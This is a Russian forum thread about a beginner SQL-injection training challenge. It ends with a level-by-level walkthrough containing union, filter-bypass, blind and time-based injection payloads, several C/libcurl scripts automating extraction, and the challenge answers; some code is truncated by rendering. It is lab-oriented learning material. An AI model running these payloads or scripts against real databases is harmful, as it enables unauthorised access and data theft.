ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Челлендж по SQL Injection для новчиков (https://forum.antichat.xyz/showthread.php?t=423579)

faza02 25.03.2015 17:52

дабы не задавать простых вопросов по sqli рекомендую к прохождению

https://alexbers.com/sql/

ответы на все вопросы: /thread104591.html

YaBtr 25.03.2015 18:45

Предлагаю посоревноваться

Первый, кто опубликует прохождение, получит печеньки в виде "+".

Приветствуются не шаблонные запросы, старайтесь сокращать запросы до минимального количества символов, в общем придумывайте какие-то ограничения и обходите их. Ждем!

p.s. Цветные не в счет

MaxFast 25.03.2015 20:40

Так и не понял какой ответ на 4 уровне. Все данные из таблиц перепробовал.

Всё сломалось:

Цитата:

Сообщение от None
Cannot connect to DB!


BigBear 25.03.2015 20:41

Цитата:

Сообщение от YaBtr
p.s. Цветные не в счет

Ну блииин =(

M_script 25.03.2015 21:01

MaxFast, dg

faza02 25.03.2015 21:02

Цитата:

Сообщение от MaxFast
Так и не понял какой ответ на 4 уровне. Все данные из таблиц перепробовал.
Всё сломалось:

хинт: schema

TADIAMOND 26.03.2015 03:29

Цитата:

Сообщение от None
https://alexbers.com/sql/1.php
Таблица: users
Поля: id,login,pass
Cannot connect to DB!

Что-то не пойму, так и должно быть на первом уровне?

psihoz26 26.03.2015 15:50

Дошел до 10 и понял что alexbers полный извращенец!!

Этож надо юзеров заставлять blind и time based скули руками крутить!

faza02 26.03.2015 16:00

для понимания, как все работает, это не так уж плохо

MegaByyte 26.03.2015 21:44

в 8 левеле точно нет ошибки ?

там, где пароль пользователя с ником fast

billybonse 27.03.2015 10:14

Очень интересный челлендж. Завис на 4 уровне.

select * from users where id=2' union select 1,ggg,3 from secret -- or login='$text' limit 1

А дальше как действовать?

Unknown 27.03.2015 14:49

Цитата:

Сообщение от billybonse
Очень интересный челлендж. Завис на 4 уровне.
select * from users where id=2' union select 1,ggg,3 from secret -- or login='$text' limit 1
А дальше как действовать?

' union select * from secret where ggg='abc'--

только ппц как условие звучит.." найти ДАННОЕ таблицы"

billybonse 27.03.2015 15:03

Цитата:

Сообщение от UXOR
' union select * from secret where ggg='abc'--
только ппц как условие звучит.." найти
ДАННОЕ
таблицы"

Спасибо. Вот именно условие меня и смутило...

teh 29.03.2015 15:51

Как пройти 5 левел вроде делаю правильний запрос, но все равно ошибка

' union select table_name from information_schema.tables where table_name='secret'--

smirk 29.03.2015 16:24

Цитата:

Сообщение от teh
Как пройти 5 левел вроде делаю правильний запрос, но все равно ошибка
' union select table_name from information_schema.tables where table_name='secret'--

Ну раз ты пошел таким путем, тогда так

'union+select+column_name,2,3+from+information_sch ema.columns+where+table_name='secret'+--+

в итоге: 'union+select+dfgfddfgdfdfdf,dfgdfgfdg,null+from+s ecret+--+

но, можно и проще:'union+select+*,null+from+secret+--+

teh 29.03.2015 17:07

Цитата:

Сообщение от smirk
Ну раз ты пошел таким путем, тогда так
'union+select+column_name,2,3+from+information_sch ema.columns+where+table_name='secret'+--+
в итоге: 'union+select+dfgfddfgdfdfdf,dfgdfgfdg,null+from+s ecret+--+
но, можно и проще:'union+select+*,null+from+secret+--+

почему union select 1,2,3 ? там ж, только 2 поля

teh 29.03.2015 20:51

А как 8 левел пройти? Пасс думаю там в числово буквенном виде. А выводиться только то, что произошла какая-то ошибка, или количество выведенных записей. что тогда делать?

faza02 29.03.2015 21:00

Цитата:

Сообщение от teh
А как 8 левел пройти? Пасс думаю там в числово буквенном виде. А выводиться только то, что произошла какая-то ошибка, или количество выведенных записей. что тогда делать?

варианта два. либо true (когда нет ошибки), либо false (есть ошибка). на что похоже?

teh 29.03.2015 21:12

на слепую? Но как то пасс узнать

winstrool 29.03.2015 23:49

Цитата:

Сообщение от psihoz26
Дошел до 10 и понял что alexbers полный извращенец!!
Этож надо юзеров заставлять blind и time based скули руками крутить!

А кто тебя заставляет руками крутить?

teh 30.03.2015 02:29

наконец то прошел левел 8. Сколько там уровней?

MaxFast 30.03.2015 09:28

Цитата:

Сообщение от teh
наконец то прошел левел 8. Сколько там уровней?

Десять.

Сам остановился на десятом и забросил.

teh 30.03.2015 11:52

Цитата:

Сообщение от MaxFast
Десять.
Сам остановился на десятом и забросил.

на 9 остановился и пошел спать. На восьмой где то 3 часа потратил. Нужно еще подучиться.

faza02 03.06.2015 00:48

апну тему. советую всем новичкам

Dude 29.06.2015 18:07

Сразу скажу: с MySQL я знаком на уровне "когда то читал посвященный ей chm", с инъекциями примерно так же, поэтому не ждите от меня красивых решений. Я знаю что метод двоичного поиска реализован лишь на половину, а программы написаны кривовато, т.к. писались чтобы использовать один раз и забыть. Если нужно - могу привести код в порядок.
  1. Все просто, вводим запрос как он будет:

    Код:

    select pass from users where id=12;
    Ответ: QwErTy
  2. Тут надо отбросить то что нам мешает, примерно так: ' or id=9;#

    В итоге пучится :

    Код:

    select * from users where id=2 or login='' or id=9;#'
    # - начало комментария, все что за ней - отпросится.

    Ответ: secreto
  3. То же самое: ' or id=13;#

    Код:

    select * from users where id=2 or login='' or id=13;#' limit 1
    Видимо предыдущий я решил как то неверно, потому что решение подошло и сюда

    Ответ: iwanttogo4
  4. Нужно отбросить лимит и приклеить еще один запрос:

    Код:

    select * from users where id=2 or login='' union select * from secret where ggg='abc';#' limit 1
    Ответ: dg
  5. То же, что и в предыдущем, но не совпадает количество столбцов. Добьем недостающий единицей:

    Код:

    select * from users where id=2 or login='' union select *,1 from secret;#' limit 1
    Ответ: thisisapass232
  6. Нужно решить проблему фильтрации кавычки:

    Код:

    select * from users where id=0 or login=CHAR(0x67,0x6f,0x64) limit 1
    Ответ: ivarywantlevel7

    Хорошо, что вы не знаете как я решал задачу сначала...
  7. Нужно решить проблему фильтрации всего (пробелов, скобок, кавычек, чего то еще).

    Пробелы успешно меняются на /**/.

    Кавычки исключаются, строка представляется в виде шестнадцатеричных значений символов ее составляющих. Неизвестная группа символов меняется на % (0x25).

    Код:

    select * from users where id=0/**/or/**/login/**/like/**/0x2567656e746f6f25 limit 1
    Ответ: level8please

    Хорошо, что вы не знаете что тут я пытался сделать то же, что и в шестом в начале...
  8. Тут слепая инъекция, будем искать пароль посимвольно методом подбора. В данном случае это вполне нормально, однако когда надо найти длинные строки лучше бы использовать метод двоичной сортировки.

    Сначала узнаем его длину (привожу только то что ввел я, а не весь запрос):

    Код:

    0 union select * from users where login='fast' and LENGTH(pass)>3
    нашло одного такого, пароль явно длиннее трех символов

    [CODE]
    0 union select * from users where login='fast' and LENGTH(pass)
    .SpoilerTarget" type="button">Spoiler: Код

    [CODE]
    #include
    #include
    #include

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
    int result = size * nmemb;
    if(*buffer)
    {
    *buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
    strcat(*buffer,data);
    }
    else
    {
    *buffer=(char*)calloc(result+1,sizeof(char));
    strcpy(*buffer,data);
    }
    return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
    CURL *curl;
    CURLcode performReturn;
    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();

    if(curl)
    {

    curl_easy_setopt(curl, CURLOPT_URL, URL);
    curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
    if(postData)
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

    performReturn = curl_easy_perform(curl);

    if(performReturn != CURLE_OK)
    {
    printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
    return 0;
    }
    }
    else
    return 0;

    curl_global_cleanup();

    return 1;
    }

    void main()
    {
    char *ret;
    char url[255];
    char symb=0;
    int i,i1;
    char res=0;

    printf("Password charcode: 0x");
    for(i=1;i
    Все основано на следующем запросе (привожу только мою часть):

    Код:

    0 union select * from users where login='fast' and ASCII(SUBSTRING(pass,1,1))=57
    Ответ: 9levlpass
  9. Тут то же самое. Слепая иньекция. Нужно нормально реализовывать поиск. Все по аналогии с предыдущим заданием, в комментариях не нуждается.

    .SpoilerTarget" type="button">Spoiler

    [CODE]
    #include
    #include
    #include

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
    int result = size * nmemb;
    if(*buffer)
    {
    *buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
    strcat(*buffer,data);
    }
    else
    {
    *buffer=(char*)calloc(result+1,sizeof(char));
    strcpy(*buffer,data);
    }
    return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
    CURL *curl;
    CURLcode performReturn;
    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();

    if(curl)
    {

    curl_easy_setopt(curl, CURLOPT_URL, URL);
    curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
    if(postData)
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

    performReturn = curl_easy_perform(curl);

    if(performReturn != CURLE_OK)
    {
    printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
    return 0;
    }
    }
    else
    return 0;

    curl_global_cleanup();

    return 1;
    }

    int getLoginLength(int id)
    {
    char url[255], *ret, state;
    sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29>0",id) ;

    ret=NULL;
    curlPOST(url,NULL,&ret);
    state=*(ret+394);
    free(ret);

    if(state!='1')return -1;

    int cmax=20;//будем считать что нет логинов длиннее 20

    while(1)
    {
    sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29
    В итоге их логины:
    • 48
    • 131
    • 125
    • 1104
    • 182
    • 51
    • 195
    • 5
    • 136
    • 121
    • 127
    Ответ: 2225
  10. Слепой запрос без вывода, time-based injection.

    Не извесно ничего. Надо узнать хоты бя имена таблиц (и их количество).

    Код:

    select if((select count(1) from information_schema.schemata)=6,BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Задержка выполняется при условии что количество баз равно 6. И так, цифра за цифрой, подбираем количество баз.

    .SpoilerTarget" type="button">Spoiler

    Код:

    #include
    #include
    #include
    #include 

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
      int result = size * nmemb;
      if(*buffer)
      {
        *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
        strcat(*buffer,data);
      }
      else
      {
        *buffer=(char*)calloc(result+1,sizeof(char));
        strcpy(*buffer,data);
      }
      return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
      CURL *curl;
      CURLcode performReturn;
      curl_global_init(CURL_GLOBAL_DEFAULT);
      curl = curl_easy_init();

      if(curl)
      {

        curl_easy_setopt(curl, CURLOPT_URL, URL);
        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
        if(postData)
          curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

        performReturn = curl_easy_perform(curl);

        if(performReturn != CURLE_OK)
        {
          printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
          return 0;
        }
      }
      else
        return 0;

      curl_global_cleanup();

      return 1;
    }

    void main()
    {
      char url[255], *ret, state;
      int i;
      double time[50];

      int colcount=0;

      while(1)
      {
        sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%281%%29+from+information_schema.schemata%%29%%3D%d%%2CBENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
        ret=NULL;

        unsigned int start_time =  clock();
        curlPOST(url,NULL,&ret);
        unsigned int end_time = clock();
        free(ret);
        if( ((double)end_time - (double)start_time)>870.0)
        {
        printf("we have %d columns\n",colcount);
        break;
        }
        else
        printf("we have mote than %d columns\n",colcount);
        ++colcount;
      }

      system("pause");
    }

    Оказывается две базы. Одна ясна - information_schema. Ищем имя второй.

    Сначала находим длину.

    .SpoilerTarget" type="button">Spoiler

    Код:

    #include
    #include
    #include
    #include 

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
      int result = size * nmemb;
      if(*buffer)
      {
        *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
        strcat(*buffer,data);
      }
      else
      {
        *buffer=(char*)calloc(result+1,sizeof(char));
        strcpy(*buffer,data);
      }
      return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
      CURL *curl;
      CURLcode performReturn;
      curl_global_init(CURL_GLOBAL_DEFAULT);
      curl = curl_easy_init();

      if(curl)
      {

        curl_easy_setopt(curl, CURLOPT_URL, URL);
        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
        if(postData)
          curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

        performReturn = curl_easy_perform(curl);

        if(performReturn != CURLE_OK)
        {
          printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
          return 0;
        }
      }
      else
        return 0;

      curl_global_cleanup();

      return 1;
    }

    void main()
    {
      char url[420], *ret, state;
      int i;
      double time[50];

      int dbNameLen=0;

      while(1)
      {
        sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.schemata+where+schema_name+!%%3D%%27information_schema%%27+and+length%%28schema_name%%29%%3D%d%%29%%2CBENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",dbNameLen);
        ret=NULL;

        unsigned int start_time =  clock();
        curlPOST(url,NULL,&ret);
        unsigned int end_time = clock();
        free(ret);
        if( ((double)end_time - (double)start_time)>870.0)
        {
        printf("Db name have %d characters\n",dbNameLen);
        break;
        }
        else
        printf("we have mote than %d characters\n",dbNameLen);
        ++dbNameLen;
      }

      system("pause");
    }

    Код:

    select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and length(schema_name)=3),BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Все основано на этом запросе выше.

    Длина имени базы равна 7 символов.

    Теперь имя. По буквам (из за неточности пришлось увеличить задержку).

    .SpoilerTarget" type="button">Spoiler

    [CODE]
    #include
    #include
    #include
    #include

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
    int result = size * nmemb;
    if(*buffer)
    {
    *buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
    strcat(*buffer,data);
    }
    else
    {
    *buffer=(char*)calloc(result+1,sizeof(char));
    strcpy(*buffer,data);
    }
    return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
    CURL *curl;
    CURLcode performReturn;
    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();

    if(curl)
    {

    curl_easy_setopt(curl, CURLOPT_URL, URL);
    curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
    if(postData)
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

    performReturn = curl_easy_perform(curl);

    if(performReturn != CURLE_OK)
    {
    printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
    return 0;
    }
    }
    else
    return 0;

    curl_global_cleanup();

    return 1;
    }

    char findChar(int charNum)
    {
    char url[420], *ret;

    int cmax=255;

    while(1)
    {
    sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.schemata+where+schema_n ame+!%%3D%%27information_schema%%27+and+ascii%%28S UBSTRING%%28schema_name%%2C%d%%2C1%%29%%29>%d%%29% %2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+B OMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%2 9%%29%%2Cnull%%29%%3B",charNum,cmax);
    ret=NULL;
    unsigned int start_time = clock();
    curlPOST(url,NULL,&ret);
    unsigned int end_time = clock();
    free(ret);

    if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

    }

    return -1;
    }

    void main()
    {

    int i;

    for(i=0;i

    База называется "level10". Какой сюрприз. Мог бы и догадатся.

    Код:

    select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and ascii(SUBSTRING(schema_name,1,1))=50),BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    На этом запросе основывался поиск имени базы

    Теперь найдем количество таблиц в базе.

    .SpoilerTarget" type="button">Spoiler

    Код:

    #include
    #include
    #include
    #include 

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
      int result = size * nmemb;
      if(*buffer)
      {
        *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
        strcat(*buffer,data);
      }
      else
      {
        *buffer=(char*)calloc(result+1,sizeof(char));
        strcpy(*buffer,data);
      }
      return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
      CURL *curl;
      CURLcode performReturn;
      curl_global_init(CURL_GLOBAL_DEFAULT);
      curl = curl_easy_init();

      if(curl)
      {

        curl_easy_setopt(curl, CURLOPT_URL, URL);
        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
        if(postData)
          curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

        performReturn = curl_easy_perform(curl);

        if(performReturn != CURLE_OK)
        {
          printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
          return 0;
        }
      }
      else
        return 0;

      curl_global_cleanup();

      return 1;
    }

    void main()
    {
      char url[255], *ret, state;
      int i;
      double time[50];

      int colcount=0;

      while(1)
      {
        sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.tables+where+table_schema%%3D%%27level10%%27%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
        ret=NULL;

        unsigned int start_time =  clock();
        curlPOST(url,NULL,&ret);
        unsigned int end_time = clock();
        free(ret);
        if( ((double)end_time - (double)start_time)>2500.0)
        {
          printf("we have %d table\n",colcount);
          break;
        }
        else
          printf("we have mote than %d tables\n",colcount);
        ++colcount;
      }

      system("pause");
    }

    Код:

    select if((select count(*) from information_schema.tables where table_schema='level10')=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Все на основе запроса выше.

    Таблица одна. Теперь ее имя.

    Как всегда, сначала его длинна.

    .SpoilerTarget" type="button">Spoiler

    Код:

    #include
    #include
    #include
    #include 

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
      int result = size * nmemb;
      if(*buffer)
      {
        *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
        strcat(*buffer,data);
      }
      else
      {
        *buffer=(char*)calloc(result+1,sizeof(char));
        strcpy(*buffer,data);
      }
      return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
      CURL *curl;
      CURLcode performReturn;
      curl_global_init(CURL_GLOBAL_DEFAULT);
      curl = curl_easy_init();

      if(curl)
      {

        curl_easy_setopt(curl, CURLOPT_URL, URL);
        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
        if(postData)
          curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

        performReturn = curl_easy_perform(curl);

        if(performReturn != CURLE_OK)
        {
          printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
          return 0;
        }
      }
      else
        return 0;

      curl_global_cleanup();

      return 1;
    }

    void main()
    {
      char url[320], *ret, state;
      int i;
      double time[50];

      int colcount=0;

      while(1)
      {
        sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.tables+++where+table_schema%%3D%%27level10%%27+and+length%%28table_name%%29%%3D%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
        ret=NULL;

        unsigned int start_time =  clock();
        curlPOST(url,NULL,&ret);
        unsigned int end_time = clock();
        free(ret);
        if( ((double)end_time - (double)start_time)>2500.0)
        {
          printf("we have %d symbols\n",colcount);
          break;
        }
        else
          printf("we have mote than %d symbols\n",colcount);
        ++colcount;
      }

      system("pause");
    }

    Код:

    select if((select count(*) from information_schema.tables where table_schema='level10' and length(table_name)=3),BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Основано на запросе выше.

    Длина имени таблицы - 11 символов.

    А вот теперь ее имя.

    .SpoilerTarget" type="button">Spoiler

    [CODE]
    #include
    #include
    #include
    #include

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
    int result = size * nmemb;
    if(*buffer)
    {
    *buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
    strcat(*buffer,data);
    }
    else
    {
    *buffer=(char*)calloc(result+1,sizeof(char));
    strcpy(*buffer,data);
    }
    return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
    CURL *curl;
    CURLcode performReturn;
    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();

    if(curl)
    {

    curl_easy_setopt(curl, CURLOPT_URL, URL);
    curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
    if(postData)
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

    performReturn = curl_easy_perform(curl);

    if(performReturn != CURLE_OK)
    {
    printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
    return 0;
    }
    }
    else
    return 0;

    curl_global_cleanup();

    return 1;
    }

    char findChar(int charNum)
    {
    char url[420], *ret;

    int cmax=255;

    while(1)
    {
    sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+where+table_sche ma%%3D%%27level10%%27+and+ascii%%28SUBSTRING%%28ta ble_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%2 85000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27 Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%% 29%%3B",charNum,cmax);
    ret=NULL;
    unsigned int start_time = clock();
    curlPOST(url,NULL,&ret);
    unsigned int end_time = clock();
    free(ret);

    if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

    }

    return -1;
    }

    void main()
    {

    int i;

    for(i=0;i

    Код:

    select if((select count(*) from information_schema.tables where table_schema='level10' and ascii(SUBSTRING(table_name,1,1))=99),BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    Имя таблицы: davidblayne

    Вдруг это уже ответ? Нет, нас еще помучают.

    Теперь количество строк ней (хоть это не сложно):

    .SpoilerTarget" type="button">Spoiler

    Код:

    #include
    #include
    #include
    #include 

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
      int result = size * nmemb;
      if(*buffer)
      {
        *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
        strcat(*buffer,data);
      }
      else
      {
        *buffer=(char*)calloc(result+1,sizeof(char));
        strcpy(*buffer,data);
      }
      return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
      CURL *curl;
      CURLcode performReturn;
      curl_global_init(CURL_GLOBAL_DEFAULT);
      curl = curl_easy_init();

      if(curl)
      {

        curl_easy_setopt(curl, CURLOPT_URL, URL);
        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
        if(postData)
          curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

        performReturn = curl_easy_perform(curl);

        if(performReturn != CURLE_OK)
        {
          printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
          return 0;
        }
      }
      else
        return 0;

      curl_global_cleanup();

      return 1;
    }

    void main()
    {
      char url[255], *ret, state;
      int i;
      double time[50];

      int colcount=0;

      while(1)
      {
        sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+level10.davidblayne%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
        ret=NULL;

        unsigned int start_time =  clock();
        curlPOST(url,NULL,&ret);
        unsigned int end_time = clock();
        free(ret);
        if( ((double)end_time - (double)start_time)>870.0)
        {
          printf("we have %d columns\n",colcount);
          break;
        }
        else
          printf("we have mote than %d columns\n",colcount);
        ++colcount;
      }

      system("pause");
    }

    Код:

    select if((select count(*) from level10.davidblayne)=2,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
    На основе запроса выше выясняем - всего одна строка. Надеюсь хоть там то пароль.

    Теперь количество столбцов.

    .SpoilerTarget" type="button">Spoiler

    Код:

    #include
    #include
    #include
    #include 

    static int writer(char *data, size_t size, size_t nmemb, char **buffer)
    {
      int result = size * nmemb;
      if(*buffer)
      {
        *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
        strcat(*buffer,data);
      }
      else
      {
        *buffer=(char*)calloc(result+1,sizeof(char));
        strcpy(*buffer,data);
      }
      return result;
    }

    int curlPOST(char* URL,char* postData,char **buffer)
    {
      CURL *curl;
      CURLcode performReturn;
      curl_global_init(CURL_GLOBAL_DEFAULT);
      curl = curl_easy_init();

      if(curl)
      {

        curl_easy_setopt(curl, CURLOPT_URL, URL);
        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
        if(postData)
          curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

        performReturn = curl_easy_perform(curl);

        if(performReturn != CURLE_OK)
        {
          printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
          return 0;
        }
      }
      else
        return 0;

      curl_global_cleanup();

      return 1;
    }

    void main()
    {
      char url[320], *ret, state;
      int i;
      double time[50];

      int colcount=0;

      while(1)
      {
        sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.columns+where+table_name%%3D%%27davidblayne%%27%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
        ret=NULL;

        unsigned int start_time =  clock();
        curlPOST(url,NULL,&ret);
        unsigned int end_time = clock();
        free(ret);
        if( ((double)end_time - (double)start_time)>2500.0)
        {
          printf("we have %d columns\n",colcount);
          break;
        }
        else
          printf("we have mote than %d columns\n",colcount);
        ++colcount;
      }

      system("pause");
    }

    Код:

